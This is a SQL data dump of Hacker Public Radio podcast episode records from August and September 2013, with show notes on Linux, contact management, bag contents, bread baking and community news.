(1311,'2013-08-12','Modern Inconveniences',1460,'Reflections on how doing things manually can be cathartic','<p>\r\nA little discourse about manual work and money saving.  Contact me at\r\nhobbsc@ma.sdf.org\r\n</p>',241,0,0,'CC-BY-SA','\"manual work\",\"money saving\"',0,1879,1),
(1321,'2013-08-26','What\'s in my Bag',551,'Things in a well-worn timbuk2 bag','<p>\r\nMy contribution to the \"What\'s in my Bag\" series.  Contact me at hobbsc@ma.sdf.org\r\n</p>',241,23,0,'CC-BY-SA','\"Timbuk2 bag\"',0,1652,1),
(1312,'2013-08-13','Deepgeek interviews Birgitta Jonsdottir (Icelandic Pirate Party parliamentarian)',3197,'Epicanis introduces Deepgeek interviewing Birgitta Jonsdottir','<p>\r\nEpicanis makes a brief introduction to the following show.\r\n(see also: <a href=\"https://en.wikipedia.org/wiki/Wilhelm_Reich\">https://en.wikipedia.org/wiki/Wilhelm_Reich</a> )\r\n</p>\r\n<p>\r\nIn this special episode of TGTM news Deepgeek interviews Icelandic Parliamentarian Birgitta Jónsdóttir.  We discuss Ban Ki-moon\'s recent faux pas in \r\nIceland\'s Parliment, Birgitta\'s hacking, her work in human rights and privacy, and whether or not Wikileaks is living up to it\'s original mandate.\r\n</p>',182,78,1,'CC-BY-SA','tgtm, politics, Pirate Party, privacy',0,1863,1),
(1313,'2013-08-14','How I Manage Contacts',712,'Strategies for de-duplicating and centralising contact information','<h2 id=\"howimanagecontacts\">How I Manage Contacts</h2>\r\n\r\n<p>About a year ago I decided to try to clean up my contacts. </p>\r\n\r\n<p>The problem: CRUFT! </p>\r\n\r\n<ul>\r\n<li>Importing, exporting re-importing in different accounts and in different email clients and several computers etc over span of ~10 years.</li>\r\n<li>1200+ gmail contacts</li>\r\n<li>Many duplicates</li> \r\n</ul>\r\n\r\n<p>What I wanted:</p>\r\n\r\n<ul>\r\n<li>1 set of contacts across platforms with single source file from which all\r\nothers are generated</li>\r\n<li>plain-text format, easy to use w/scripting &amp; text editor</li>\r\n<li>No duplicates</li>   \r\n<li>no cruft</li>\r\n<li>easy to maintain</li>\r\n<li>easy to import/export in T-bird, ownCloud</li>\r\n<li>sync with phone</li> \r\n</ul>\r\n\r\n<p>Steps to Success:</p> \r\n\r\n<ol>\r\n<li>Turn off Gmail default setting that saves every incoming email address in your address book</li>\r\n<li>Deleted all extraneous contacts (went from ~1200 down to about 400)</li>\r\n<li>Tedious part here: compare duplicates, consolidate info</li>\r\n<li>Decide on source-file format</li>\r\n<li>T-bird = LDIF</li>   \r\n<li>OwnCloud = vCard</li>\r\n<li>LDIF wins b/c found script to convert to vCard, but not good script for other direction</li>\r\n<li>Convert all disparate contacts lists to LDIF, begin consolidating into one file</li>\r\n<li>LDIF ready? Import to T-bird</li>\r\n<li>Perl script to convert LDIF to vCard &#8211;&gt; import to ownCloud</li>\r\n<li>CardDAV-sync to sync from o.c. to phone</li>\r\n<li>Bash script to create new LDIF entries, convert to vcf, add to master file easily</li>\r\n</ol>\r\n\r\n<p>Wishlist </p>\r\n\r\n<ol>\r\n<li>Make t-bird sync w/owncloud (t-bird SOGO extension broken)</li>\r\n<li>CLI API to update owncloud contacts via a script instead of having to use the web interface</li>\r\n</ol>\r\n\r\n<p>Links </p>\r\n\r\n<ul>\r\n<li>CardDAV-sync android app <a href=\"https://play.google.com/store/apps/details?id=org.dmfs.carddav.sync&amp;hl=en\">https://play.google.com/store/apps/details?id=org.dmfs.carddav.sync&amp;hl=en</a></li>\r\n<li>OwnCloud <a href=\"https://owncloud.org/\">https://owncloud.org/</a></li>\r\n<li>Thunderbird Addon: Duplicate Contact Manager <a href=\"https://addons.mozilla.org/en-us/thunderbird/addon/duplicate-contact-manager/\">https://addons.mozilla.org/en-us/thunderbird/addon/duplicate-contact-manager/</a></li>\r\n<li>Original ldif2vcf perl script <a href=\"https://www.barninger.com/ldif_to_vcard/\">https://www.barninger.com/ldif_to_vcard/</a></li>\r\n<li>My modified version: <a href=\"https://paste.jonkulp.net/view/d47bbeca\">https://paste.jonkulp.net/view/d47bbeca</a></li>\r\n<li>My ldif creator bash script <a href=\"https://paste.jonkulp.net/view/32922107\">https://paste.jonkulp.net/view/32922107</a></li>\r\n</ul>',238,0,0,'CC-BY-SA','LDIF,vCard,OwnCloud,CardDAV,Thunderbird',0,1760,1),
(1314,'2013-08-15','Impressions of Mageia',1730,'Experiences with Mageia','<p>\r\nFrank Bell describes his recent experiences with Mageia v. 2, including upgrading online to v. 3, as well as his overall impressions of Mageia.\r\n</p>\r\n<p>\r\nLinks from the show:\r\n</p>\r\n<p>\r\nMageia website:  <a href=\"https://www.mageia.org\">https://www.mageia.org</a>\r\n</p>\r\n<p>\r\nMageia Wiki:  <a href=\"https://wiki.mageia.org/en/Main_Page\">https://wiki.mageia.org/en/Main_Page</a> \r\n</p>\r\n<p>\r\nAbout the online version upgrade (from the release notes):  <a href=\"https://wiki.mageia.org/en/Mageia_3_Release_Notes#Upgrading_from_Mageia_2\">https://wiki.mageia.org/en/Mageia_3_Release_Notes#Upgrading_from_Mageia_2</a> \r\n</p>\r\n<p>\r\nAbout the Mageia Repositories, including \"tainted\" repos (from the release notes):  <a href=\"https://wiki.mageia.org/en/Mageia_3_Release_Notes#The_Mageia_online_repositories\">https://wiki.mageia.org/en/Mageia_3_Release_Notes#The_Mageia_online_repositories</a>\r\n</p>\r\n<p>\r\nMageia Forum thread on the \"no MP4 audio\" in VLC:  <a href=\"https://forums.mageia.org/en/viewtopic.php?f=7&amp;t=1290\">https://forums.mageia.org/en/viewtopic.php?f=7&amp;t=1290</a>\r\n</p>\r\n<p>\r\nAbout Drak3D: <a href=\"https://forums.mageia.org/en/viewtopic.php?f=23&amp;t=511\">https://forums.mageia.org/en/viewtopic.php?f=23&amp;t=511</a>\r\n</p>\r\n<p>\r\nHPLIP:  <a href=\"https://hplipopensource.com/hplip-web/index.html\">https://hplipopensource.com/hplip-web/index.html</a>\r\n</p>',195,0,1,'CC-BY-SA','Mageia',0,1736,1),
(1316,'2013-08-19','What is my bag',1350,'Use of a MOLLE bag for carrying tools','<h2>MOLLE</h2>\r\n<p><em>From Wikipedia, the free encyclopedia</em></p>\r\n<p>\r\nMOLLE (pronounced molly, as in the female name) is an acronym for Modular Lightweight Load-carrying Equipment. It is used to define the current generation of load-bearing equipment and rucksacks utilized by a number of NATO armed forces, especially the British Army and the United States Army. The system\'s modularity is derived from the use of PALS webbing as rows of heavy-duty nylon stitched onto the vest to allow for attachment of various MOLLE-compatible pouches and accessories. \r\n</p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://themollepanel.com/\">https://themollepanel.com/</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/MOLLE\">https://en.wikipedia.org/wiki/MOLLE</a>\r\n</li>\r\n<li><a href=\"https://www.511tactical.com/All-Products/Bags-Backpacks/Pouches.html\">https://www.511tactical.com/All-Products/Bags-Backpacks/Pouches.html</a>\r\n</li>\r\n<li><a href=\"https://www.countycomm.com/bags.html\">https://www.countycomm.com/bags.html</a>\r\n</li>\r\n</ul>',155,23,1,'CC-BY-SA','molle,bag',0,1690,1),
(1317,'2013-08-20','What\'s In My 2 Bags',1380,'Some non-hacking things in two daily-carry bags','<p>CPrompt^ records his first podcast. Talks about what he does for employments as well as what he carries around on a daily basis. Not all hackin-geeky stuff but it\'s still carried around.</p>\n <p>Links:</p>\n <ul>\n  <li>LAN Throwing Star : <a href=\"https://hakshop.myshopify.com/products/throwing-star-lan-tap\">https://hakshop.myshopify.com/products/throwing-star-lan-tap</a></li>\n  <li>Sharpie Pen : <a href=\"https://www.sharpie.com/enUS/Pages/medium-point-pen.aspx\">https://www.sharpie.com/enUS/Pages/medium-point-pen.aspx</a></li>\n  <li>Thorlo Socks : <a href=\"https://www.thorlo.com/\">https://www.thorlo.com/</a></li>\n  <li>Sock Guy : <a href=\"https://www.sockguy.com/\">https://www.sockguy.com/</a></li>\n  <li>Jungly Gym XT Bands : <a href=\"https://www.lifelineusa.com/catalog/product/view/id/58/s/jungle-gym-xt/\">https://www.lifelineusa.com/catalog/product/view/id/58/s/jungle-gym-xt/</a></li>\n </ul>',252,23,1,'CC-BY-SA','lan tap,sharpie pen,sock,jungle gym',0,1688,1),
(1318,'2013-08-21','How I found Linux',1115,'Sunzofman1\'s journey to Linux','<pre>\r\n1st PC 95 wfw win3.11 installed with jumbo tracker colorado\r\nno ownership in HS and prior to \'95\r\nrecognition of internet \'94 ncsa mosaic\r\nhunger for web page builds\r\nSparc1 - SunOS pizza boxes / DEC Alpha / VAX/VMS\r\nstoked curiosity UNIX\r\nUnix Renaissance FAMU --> https://www.famu.edu\r\nLinux Unleashed - Slackware 2.0 kernel 1.2.13\r\nfilesystem inspection, file ownership, permissions, basic scripts\r\nNetworking - Token Ring / Ethernet / IBM 4381\r\nTrumpet winsock / NetBEUI / dial-up networking modems cash service\r\nhttps://en.wikipedia.org/wiki/Winsock\r\nslackware PPP chatscripts / robotics 14.4K modem\r\nwinnt 4.0 network YP/NIS - 25 machines /etc/passwd\r\nredhat 4.2 , slackware desktop of choice,  \r\ndebian potato, use debian for business deployment\r\nmostly web services, openvpn, asterisk (centos)\r\nmythtv arch - knoppmyth --> LinHES\r\nmany thanks to ken fallon, dann washko, klaatu\r\n</pre>\r\n',187,29,1,'CC-BY-SA','\"computer history\"',0,1726,1),
(1319,'2013-08-22','Frank Bell Presents HPR to His LUG',1442,'The Tidewater Unix Users Group hears about HPR','<h2>Links from the show:</h2>\r\n<p>\r\nFrank\'s LUG, the Tidewater Unix Users Group, <a href=\"https://twuug.org/mediawiki/index.php/Main_Page\">https://twuug.org/mediawiki/index.php/Main_Page</a>\r\n</p>\r\n<p>\r\nPodcast and sites mentioned in the show:\r\n</p>\r\n\r\n<ul>\r\n<li>Geek News Central: <a href=\"https://www.geeknewscentral.com/\">https://www.geeknewscentral.com/</a>\r\n</li>\r\n<li>GNU World Order: <a href=\"https://gnuworldorder.info/\">https://gnuworldorder.info/</a>\r\n</li>\r\n<li>TwaTech (Today with a Tecchie): <a href=\"https://twatech.org/\">https://twatech.org/</a>\r\n</li>\r\n<li>BinRev (the Binary Revolution): <a href=\"https://www.binrev.com/forums/\">https://www.binrev.com/forums/</a>\r\n</li>\r\n<li>The Sunday Morning Linux Review: <a href=\"https://smlr.us/\">https://smlr.us/</a>\r\n</li>\r\n</ul>',195,0,0,'CC-BY-SA','\"Geek News Central\",\"GNU World Order\",TwaTech,BinRev,\"The Sunday Morning Linux Review\"',0,1661,1),
(1320,'2013-08-23','How I got into Linux',414,'jrobb gives a short show about how he got into Linux and programming','<p>\r\nThis is my first HPR, first ever podcast, and first ever attempt at editing any audio. Don\'t expect greatness.\r\nThe banging in the background is my daughter playing with something.\r\nI give a very quick rundown of my introduction to Linux, programming, and tech in general.  This is a pretty short show.\r\n</p>\r\n<p>\r\nI forgot to mention that early on in high school or middle school I enjoyed playing with DOS on an old 386 and that is probably what got my interest and led me to enroll in the High School computer science class that I mention.\r\nI didn\'t really have anything planned to talk about, I should probably do that next time.\r\n</p>',253,29,1,'CC-BY-SA','Pascal,RedHat,Ubuntu,Arch,Debian,PHP,MySQL',0,1773,1),
(1322,'2013-08-27','Kevin O\'Brien - Ohio LinuxFest 2013',2918,'A discussion with Kevin O\'Brien about Ohio LinuxFest','<h2>About the Ohio LinuxFest</h2>\r\n<p>\r\nThe Ohio LinuxFest is a grassroots conference for the GNU/Linux/Open Source Software/Free Software community that started in 2003 as a large inter-LUG meeting and has grown steadily since. It is a place for the community to gather and share information about Linux and Open Source Software.\r\n</p>\r\n<p>\r\nA large expo area adjacent to the conference rooms will feature exhibits from our sponsors as well as a large .org section from non-profit Open Source/Free Software projects.\r\n</p>\r\n<p>\r\nThe Ohio LinuxFest welcomes people from all 50 states and international participants. We\'ve had participants from Canada, England, Argentina, Brazil, and Australia in years past.\r\n</p>\r\n<h2>Links</h2>\r\n<p>\r\nLast years audio: <a href=\"https://archive.org/search.php?query=Ohio%20LinuxFest%202012%20AND%20mediatype%3Aaudio\">https://archive.org/search.php?query=Ohio%20LinuxFest%202012%20AND%20mediatype%3Aaudio</a>\r\n</p>',30,0,1,'CC-BY-SA','\"Ohio LinuxFest 2013\"',0,1624,1),
(1323,'2013-08-28','HPR Community News For July 2013',3861,'HPR Community News For July 2013','<h2>New hosts</h2>\n <p>Welcome to our new hosts: <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=248\">Alek Grigorian</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=249\">Accipiter</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=250\">Shane Shennan</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=251\">Bob Tregilus</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=252\">Curtis Adkins (CPrompt^)</a>, and <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=253\">jrobb</a>.</p>\n <h2>Show Updates</h2>\n <table>\n  <thead>\n   <tr>\n    <th>id</th>\n    <th>title</th>\n    <th>host</th>\n   </tr>\n  </thead>\n  <tbody>\n   <tr class=\"odd\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1282</td>\n    <td class=\"data grid_edit not_null\">My Homemade Recumbent Bicycle</td>\n    <td class=\"data grid_edit not_null\">Jon Kulp</td>\n   </tr>\n   <tr class=\"even\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1283</td>\n    <td class=\"data grid_edit not_null\">Ken gets to talk with Ambjorn about politics</td>\n    <td class=\"data grid_edit not_null\">Ken Fallon</td>\n   </tr>\n   <tr class=\"odd\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1284</td>\n    <td class=\"data grid_edit not_null\">Blather Speech Recognition for Linux: Interview with Jezra</td>\n    <td class=\"data grid_edit not_null\">Jon Kulp</td>\n   </tr>\n   <tr class=\"even\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1285</td>\n    <td class=\"data grid_edit not_null\">LibreOffice 06 Writer Creating a Paragraph Style LibreOffice</td>\n    <td class=\"data grid_edit not_null\">Ahuka</td>\n   </tr>\n   <tr class=\"odd\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1286</td>\n    <td class=\"data grid_edit not_null\">iCalendar Hacking</td>\n    <td class=\"data grid_edit not_null\">Dave Morriss</td>\n   </tr>\n   <tr class=\"even\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1287</td>\n    <td class=\"data grid_edit not_null\">HPR Community News For June 2013</td>\n    <td class=\"data grid_edit not_null\">HPR Admins</td>\n   </tr>\n   <tr class=\"odd\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1288</td>\n    <td class=\"data grid_edit not_null\">Nido Media gets Ken to go camping at OHM2013</td>\n    <td class=\"data grid_edit not_null\">Ken Fallon</td>\n   </tr>\n   <tr class=\"even\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1289</td>\n    <td class=\"data grid_edit not_null\">Short Xen Update From JWP</td>\n    <td class=\"data grid_edit not_null\">JWP</td>\n   </tr>\n   <tr class=\"odd\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1290</td>\n    <td class=\"data grid_edit not_null\">MultiSystem: The Bootable Thumb Drive Creator</td>\n    <td class=\"data grid_edit not_null\">FiftyOneFifty</td>\n   </tr>\n   <tr class=\"even\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1291</td>\n    <td class=\"data grid_edit not_null\">Parsing an ISO8601 formatted duration field with Perl</td>\n    <td class=\"data grid_edit not_null\">Dave Morriss</td>\n   </tr>\n   <tr class=\"odd\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1292</td>\n    <td class=\"data grid_edit not_null\">Doomsday Remainders</td>\n    <td class=\"data grid_edit not_null\">Charles in NJ</td>\n   </tr>\n   <tr class=\"even\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1293</td>\n    <td class=\"data grid_edit not_null\">A Week of Freedom</td>\n    <td class=\"data grid_edit not_null\">Christopher M. Hobbs</td>\n   </tr>\n   <tr class=\"odd\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1294</td>\n    <td class=\"data grid_edit not_null\">Causes of Schizophrenia, neurochemical theory</td>\n    <td class=\"data grid_edit not_null\">sigflup</td>\n   </tr>\n   <tr class=\"even\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1295</td>\n    <td class=\"data grid_edit not_null\">LibreOffice 07 Writer Heading Styles</td>\n    <td class=\"data grid_edit not_null\">Ahuka</td>\n   </tr>\n   <tr class=\"odd\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1296</td>\n    <td class=\"data grid_edit not_null\">Intro to camp fires</td>\n    <td class=\"data grid_edit not_null\">pokey</td>\n   </tr>\n   <tr class=\"even\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1297</td>\n    <td class=\"data grid_edit not_null\">Mobile Hackspace (whats in my bag)</td>\n    <td class=\"data grid_edit not_null\">NYbill</td>\n   </tr>\n   <tr class=\"odd\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1298</td>\n    <td class=\"data grid_edit not_null\">Recording for HPR using Audacity</td>\n    <td class=\"data grid_edit not_null\">Nido Media</td>\n   </tr>\n   <tr class=\"even\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1299</td>\n    <td class=\"data grid_edit not_null\">What’s in my Bag</td>\n    <td class=\"data grid_edit not_null\">Jon Kulp</td>\n   </tr>\n   <tr class=\"odd\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1300</td>\n    <td class=\"data grid_edit not_null\">Maker Faire: Kansas City</td>\n    <td class=\"data grid_edit not_null\">MrGadgets</td>\n   </tr>\n   <tr class=\"even\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1301</td>\n    <td class=\"data grid_edit not_null\">Conversation with Nybill and Jon Kulp</td>\n    <td class=\"data grid_edit not_null\">Jon Kulp</td>\n   </tr>\n   <tr class=\"odd\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1302</td>\n    <td class=\"data grid_edit not_null\">How I Got to Linux</td>\n    <td class=\"data grid_edit not_null\">Accipiter</td>\n   </tr>\n   <tr class=\"even\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1303</td>\n    <td class=\"data grid_edit not_null\">A Music Pairing Under Unlikely Circumstances</td>\n    <td class=\"data grid_edit not_null\">Dave Morriss</td>\n   </tr>\n   <tr class=\"odd\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1304</td>\n    <td class=\"data grid_edit not_null\">Jon Kulp and His Son Talk Hacking</td>\n    <td class=\"data grid_edit not_null\">Jon Kulp</td>\n   </tr>\n   <tr class=\"even\">\n    <td align=\"right\" class=\"data grid_edit not_null condition nowrap\">1305</td>\n    <td class=\"data grid_edit not_null\">LibreOffice 08 Writer Tab Styles</td>\n    <td class=\"data grid_edit not_null\">Ahuka</td>\n   </tr>\n  </tbody>\n </table>\n <h2>On the Mailing List</h2>\n <ul>\n  <li>Community driven scheduling system is now active. <ul>\n    <li><a href=\"https://hackerpublicradio.org/images/hprstats.png\">https://hackerpublicradio.org/images/hprstats.png</a></li>\n   </ul>\n  </li>\n  <li>Open Sourcing Mental Illness <ul>\n    <li><a href=\"https://www.indiegogo.com/projects/open-sourcing-mental-illness\">https://www.indiegogo.com/projects/open-sourcing-mental-illness</a></li>\n   </ul>\n  </li>\n  <li>Low on Shows <ul>\n    <li>backup queue is visible on the calendar page</li>\n    <li>we should *not* have any backup shows</li>\n   </ul>\n  </li>\n  <li>Interview Icelandic Parliamentarian Birgitta Jónsdòttir <ul>\n    <li>\"We will continue to promote new podcasts and other creative commons material but due to a lack of slots, we are only releasing material created exclusively for HPR. If there is a piece of creative commons content that you would like to promote, then feel free to record a regular show where you introduce the content and explain why it is important, providing links to where we can get more information.\"</li>\n   </ul>\n  </li>\n  <li>HPR missing from Google <ul>\n    <li><a href=\"https://www.google.com/webmasters/tools\">https://www.google.com/webmasters/tools</a></li>\n    <li>don\'t blacklist the Googles web bot</li>\n   </ul>\n  </li>\n  <li>FTP Quota issues</li>\n  <li>HPR Joint Fourth Top Linux Podcast <ul>\n    <li><a href=\"https://www.linuxlinks.com/article/20130706190339587/LinuxPodcasts-Page1.html\">https://www.linuxlinks.com/article/20130706190339587/LinuxPodcasts-Page1.html</a></li>\n    <li>We don\'t have a wikipedia page</li>\n   </ul>\n  </li>\n  <li>LUG Presentation <ul>\n    <li><a href=\"https://goinglinux.com/screencasts.html\">https://goinglinux.com/screencasts.html</a></li>\n   </ul>\n  </li>\n  <li>Sonar Project donators \"Those kind people who donated to the sonar project your laptop stickers are in and they are awesome. Please send me your postal address off list and I will send you a sheet of six stickers.\"</li>\n  <li>Owe me a show list.</li>\n  <li>OggCamp 2013</li>\n  <li>WARNING !! Update to the RSS feed</li>\n  <li>HPR1300 posted</li>\n </ul>',159,47,1,'CC-BY-SA','Community News',0,1597,1),
(1351,'2013-10-07','HPR Community News For August 2013',2423,'HPR Community News For August 2013','<h2>New hosts</h2>\r\n <p>Welcome to our new host: <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=254\">Stitch</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=255\">Matt McGraw (g33kdad)</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=256\">Julian Neuer</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=257\">laindir</a>, and <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=258\">Riley Gelwicks (glwx)</a>.</p>\r\n <h2>Show Updates</h2>\r\n <table>\r\n  <thead>\r\n   <tr>\r\n    <th>id</th>\r\n    <th>date</th>\r\n    <th>title</th>\r\n    <th>host</th>\r\n   </tr>\r\n  </thead>\r\n  <tbody>\r\n   <tr>\r\n    <td>1306</td>\r\n    <td>2013-08-05</td>\r\n    <td>Freedom Followup</td>\r\n    <td>Christopher M. Hobbs</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1307</td>\r\n    <td>2013-08-06</td>\r\n    <td>What\'s in my Bag</td>\r\n    <td>Accipiter</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1308</td>\r\n    <td>2013-08-07</td>\r\n    <td>Helping a New Computer User</td>\r\n    <td>Shane Shennan</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1309</td>\r\n    <td>2013-08-08</td>\r\n    <td>Assisted Human Reproduction</td>\r\n    <td>Ken Fallon</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1310</td>\r\n    <td>2013-08-09</td>\r\n    <td>Energy Democracy defined</td>\r\n    <td>Bob Tregilus</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1311</td>\r\n    <td>2013-08-12</td>\r\n    <td>Modern Inconveniences</td>\r\n    <td>Christopher M. Hobbs</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1312</td>\r\n    <td>2013-08-13</td>\r\n    <td>Deepgeek interviews Birgitta Jonsdottir (Icelandic Pirate Party parliamentarian)</td>\r\n    <td>Epicanis</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1313</td>\r\n    <td>2013-08-14</td>\r\n    <td>How I Manage Contacts</td>\r\n    <td>Jon Kulp</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1314</td>\r\n    <td>2013-08-15</td>\r\n    <td>Impressions of Mageia</td>\r\n    <td>Frank Bell</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1315</td>\r\n    <td>2013-08-16</td>\r\n    <td>LibreOffice 09 Writer Working With Paragraph-Level Styles</td>\r\n    <td>Ahuka</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1316</td>\r\n    <td>2013-08-19</td>\r\n    <td>What is my bag</td>\r\n    <td>MrGadgets</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1317</td>\r\n    <td>2013-08-20</td>\r\n    <td>What\'s In My 2 Bags</td>\r\n    <td>Curtis Adkins (CPrompt^)</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1318</td>\r\n    <td>2013-08-21</td>\r\n    <td>How I found Linux</td>\r\n    <td>Sunzofman1</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1319</td>\r\n    <td>2013-08-22</td>\r\n    <td>Frank Bell Presents HPR to His LUG</td>\r\n    <td>Frank Bell</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1320</td>\r\n    <td>2013-08-23</td>\r\n    <td>How I got into Linux</td>\r\n    <td>jrobb</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1321</td>\r\n    <td>2013-08-26</td>\r\n    <td>What\'s in my Bag</td>\r\n    <td>Christopher M. Hobbs</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1322</td>\r\n    <td>2013-08-27</td>\r\n    <td>Kevin O\'Brien - Ohio LinuxFest 2013</td>\r\n    <td>Ken Fallon</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1323</td>\r\n    <td>2013-08-28</td>\r\n    <td>HPR Community News For July 2013</td>\r\n    <td>HPR Admins</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1324</td>\r\n    <td>2013-08-29</td>\r\n    <td>Porting Mega Happy Sprite To Windows</td>\r\n    <td>sigflup</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1325</td>\r\n    <td>2013-08-30</td>\r\n    <td>LibreOffice 10 Writer Paragraph Styles in Templates</td>\r\n    <td>Ahuka</td>\r\n   </tr>\r\n  </tbody>\r\n </table>\r\n <h2>Monthly Downloads</h2>\r\n <p><a href=\"https://hackerpublicradio.org/eps/hpr1351_communitynews-2013-08.png\"><img alt=\"Graph of monthly downloads total and by episode\" width=\"70%\" src=\"https://hackerpublicradio.org/eps/hpr1351_communitynews-2013-08.png\" /></a></p>\r\n <p><a href=\"https://hackerpublicradio.org/eps/hpr1351_hprstats-2013-08.png\"><img alt=\"Download History\" width=\"70%\" src=\"https://hackerpublicradio.org/eps/hpr1351_hprstats-2013-08.png\" /></a></p><pre>\r\nStarted:  7 years, 6 months, 22 days ago (2005-10-10)\r\nRenamed HPR:  5 years, 3 months, 29 days ago (2007-12-31)\r\nTotal Shows:  1685\r\nTotal TWAT: 300\r\nTotal HPR:  1385\r\nHPR Hosts:  200\r\nNext free slot: 25\r\nHosts in Queue: 13\r\nShows in Queue: 22\r\nAugust Downloads: 86,109\r\nAverage Daily Download: 2,620\r\nEstimated Episodes Downloaded: 7,567,791\r\n<a href=\"https://hackerpublicradio.org/report.bz2\">https://hackerpublicradio.org/report.bz2</a>\r\n</pre><h2>Host Pages</h2>\r\n <p>Should we update the host pages to include information like PGP Key, a photo etc.</p>\r\n <h2>On the Mailing List</h2>\r\n <ul>\r\n  <li>Everyone is going to OGGCamp except Ken.</li>\r\n  <li>HPR Episodes with Code is OK</li>\r\n </ul>\r\n',159,47,1,'CC-BY-SA','Community News',0,1550,1),
(1324,'2013-08-29','Porting Mega Happy Sprite To Windows ',877,'Porting with the mingw32 cross-compiler','<p>\r\nIn this episode of HPR sigflup talks about her experiences porting her favorite program to windows using the mingw32 cross-compiler\r\n</p>',115,0,1,'CC-BY-SA','mingw32,cross-compiler',0,1634,1),
(1326,'2013-09-02','What\'s in my bag',570,'jrobb details the contents of his laptop backback','<p>\r\nIn this show jrobb goes through his laptop backback and details the contents.\r\nI had a few minutes while the wife had most of the kids out running errands and figured I\'d make another HPR.\r\n</p>\r\n<p>\r\nIf anyone is otherwise interested, this is my second recording, which was made with audacity. \r\nI ran the noise removal (which is basically magic), and then I ran the compressor tool which seemed to bring the volume level up a bit.\r\n</p>',253,23,0,'CC-BY-SA','\"SWISSGEAR backpack\",\"Lenovo X1 Carbon\",\"Lenovo X220\"',0,1656,1),
(1327,'2013-09-03','Frank Bell Bakes Bread',1587,'Frank bakes two loaves of honey wheat bread','<p>\r\nFrank Bell prattles on about baking bread while he bakes two loaves of honey wheat bread.\r\n</p>\r\n\r\n<h2>Links:</h2>\r\n\r\n<ul>\r\n<li>Table of US, Imperial, and Metric equivalents:  <a href=\"https://whatscookingamerica.net/Q-A/equiv.htm\">https://whatscookingamerica.net/Q-A/equiv.htm</a>\r\n</li>\r\n<li>Picture of honey wheat bread under construction;  <a href=\"https://www.pineviewfarm.net/weblog/wp-content/uploads/2013/08/Frank_Bread.jpg\">https://www.pineviewfarm.net/weblog/wp-content/uploads/2013/08/Frank_Bread.jpg</a>\r\n</li>\r\n<li>Frank\'s generic bread recipe:  <a href=\"https://www.pineviewfarm.net/weblog/2011/11/well-bread/\">https://www.pineviewfarm.net/weblog/2011/11/well-bread/</a>\r\n</li>\r\n<li>Sour dough starter:  <a href=\"https://breadbaking.about.com/od/sourdoughbreads/r/basicstarter.htm\">https://breadbaking.about.com/od/sourdoughbreads/r/basicstarter.htm</a>\r\n</li>\r\n<li>Kon-Tiki:  <a href=\"https://en.wikipedia.org/wiki/Kon-Tiki\">https://en.wikipedia.org/wiki/Kon-Tiki</a>\r\n</li>\r\n</ul>',195,93,1,'CC-BY-SA','baking,bread,dough,sourdough',0,1631,1),
(1328,'2013-09-04','A Hacker\'s Perspective On Schizophrenia ',2065,'Schizophrenia from the perspective of a hacker','<p>\r\nIn this episode sigflup talks about her schizophrenia with her unique perspective as a hacker.\r\n</p>\r\n<p>\r\n<img src=\"https://www.theadesilva.com/hpr_schizo_1.jpg\" alt=\"person in fetal position, standing on a chair\" />\r\n</p> \r\n',115,71,0,'CC-BY-SA','\"mental health\",schizophrenia,paranoia,hallucination,anosognosia',0,1902,1),
